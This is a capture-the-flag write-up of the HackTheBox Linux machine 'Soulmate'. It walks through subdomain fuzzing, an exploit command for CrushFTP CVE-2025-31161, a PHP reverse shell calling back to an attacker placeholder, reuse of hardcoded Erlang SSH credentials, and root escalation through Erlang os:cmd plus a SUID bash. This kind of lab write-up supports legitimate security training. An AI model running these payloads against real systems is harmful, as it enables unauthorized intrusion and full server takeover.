< BACK TO HUB
EASY DIFFICULTY

SOULMATE

TARGET OS: LINUX | AUTHOR: LEANDROS

Soulmate is an Easy-rated Linux machine on HackTheBox that requires a sharp eye for subdomains and a solid understanding of esoteric shells. The intrusion started by fuzzing subdomains to discover an instance of CrushFTP. By exploiting a recent vulnerability (CVE-2025-31161), I created a rogue admin account, hijacked a user's web directory, and uploaded a PHP reverse shell. Lateral movement involved finding hardcoded credentials for a custom Erlang SSH daemon. Finally, I escalated to root by abusing the Erlang shell's OS command execution capabilities. Here is my complete mission log.

PHASE 1: RECONNAISSANCE

I initiated the engagement with an Nmap TCP port scan to map the target's external attack surface.

TERMINAL - NMAP TCP SCAN
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p22,80,4369 <IP>
OUTPUT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Soulmate - Find Your Perfect Match
|_http-server-header: nginx/1.18.0 (Ubuntu)
4369/tcp open  epmd    Erlang Port Mapper Daemon

The scan revealed SSH, a web server redirecting to soulmate.htb, and an Erlang Port Mapper Daemon. I added the domain to my /etc/hosts file and investigated the website. It appeared to be a dating platform. While I could register and upload profile pictures, testing for standard upload vulnerabilities yielded nothing. I decided to broaden my scope and fuzz for subdomains using ffuf.

TERMINAL - FFUF SUBDOMAIN FUZZING
ffuf -c -w subdomains.txt -u http://soulmate.htb -H "Host: FUZZ.soulmate.htb" -fs 154

The fuzzer quickly discovered ftp.soulmate.htb. I updated my /etc/hosts file and navigated to the new subdomain, where I was greeted by a CrushFTP login screen.

PHASE 2: CRUSHFTP EXPLOITATION & FOOTHOLD

[!] VULNERABILITY DETECTED: CRUSHFTP UNAUTHENTICATED ADMIN CREATION

CrushFTP recently suffered from a critical vulnerability (CVE-2025-31161). An unauthenticated attacker can exploit an API endpoint flaw to force the application to create a brand-new administrator account, granting full control over the FTP server's virtual file system (VFS).

I pulled down a Proof of Concept script from GitHub and fired it at the target to create an account named diseo.

PAYLOAD - CVE-2025-31161
python3 exploit.py --target_host ftp.soulmate.htb --port 80 --target_user ftp.soulmate.htb --new_user diseo --password diseo

The script successfully created the account. I logged into the CrushFTP dashboard and navigated to the "User Manager". While exploring the configuration, I noticed the user ben had a folder shared via the VFS called webProd, which pointed directly to the root directory of the soulmate.htb web application!

Since I was an admin in CrushFTP, I simply reset Ben's password to a password of my choosing, logged out of my rogue account, and logged back in as ben.

Operating as Ben inside CrushFTP, I navigated to the webProd folder, created a directory called test, and uploaded a malicious PHP reverse shell named webshell.php.

PAYLOAD - WEBSHELL.PHP
<?php
$sock=fsockopen("<IP_ATTACKER>",<PORT>);
$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

I started a Netcat listener and navigated to http://soulmate.htb/test/webshell.php in my browser. The server executed the PHP code, and I caught a reverse shell as www-data. After stabilizing my TTY, it was time to move laterally.

PHASE 3: LATERAL MOVEMENT TO BEN

I began enumerating the system using linpeas.sh. The output highlighted a highly unusual process running as root:

TERMINAL - PROCESS ENUMERATION
root   3405  /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir ... -noshell -sname ssh_runner

It appeared to be a custom Erlang script handling some sort of SSH login mechanism. I read the contents of /usr/local/lib/erlang_login/start.escript to understand its logic.

SOURCE CODE - START.ESCRIPT
# Snippet from start.escript
case ssh:daemon(2222, [
    {ip, {127,0,0,1}},
    {system_dir, "/etc/ssh"},
    {auth_methods, "publickey,password"},
    {user_passwords, [{"ben", "HouseH0ldings998"}]},
# ...

The script spins up a custom SSH daemon on local port 2222 and explicitly hardcodes credentials for the user ben: HouseH0ldings998.

Before attempting to connect to the custom port, I decided to test these credentials directly against the standard system SSH service (port 22) as password reuse is incredibly common.

TERMINAL - SSH ACCESS
ssh ben@<IP>

The credentials worked! I secured an interactive SSH session as the system user ben and claimed the user.txt flag.

PHASE 4: PRIVILEGE ESCALATION (ERLANG SHELL)

Now that I had a stable user shell, I checked the active network connections using ss -tuln. As expected, the custom Erlang SSH daemon was listening locally on port 2222.

I initiated an SSH connection to the local port using the same credentials I had just recovered.

TERMINAL - ERLANG SSH CONNECTION
ssh ben@127.0.0.1 -p 2222
OUTPUT
ben@127.0.0.1's password: 
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1>

[!] EXPLOIT STRATEGY: ERLANG OS:CMD EVALUATION

Instead of a standard Bash shell, the daemon drops users directly into an interactive Erlang shell (Eshell). Erlang has a built-in module called os that includes the os:cmd() function, which allows the execution of arbitrary operating system commands. Because the Erlang daemon itself was executed by the root user (as we saw in LinPEAS), any OS commands we issue through this shell will be executed with root privileges!

To confirm my privileges, I ran a quick whoami command through the Erlang module.

TERMINAL - ERLANG SHELL
os:cmd("whoami").
OUTPUT
"root\n"

Confirmed. To finalize the exploit and gain a standard, usable root shell, I used the Erlang shell to apply the SUID bit to the system's /bin/bash executable.

PAYLOAD - SUID BASH
os:cmd("chmod u+s /bin/bash").

I exited the Erlang shell, returning to my standard SSH session as Ben. I checked the permissions on /bin/bash to verify the SUID bit was set, and then executed it with the -p (privileged) flag.

TERMINAL - ROOT ESCALATION
bash -p
OUTPUT
bash-5.1# whoami
root

The shell dropped me directly into a root context. I claimed the root.txt flag. System Compromised.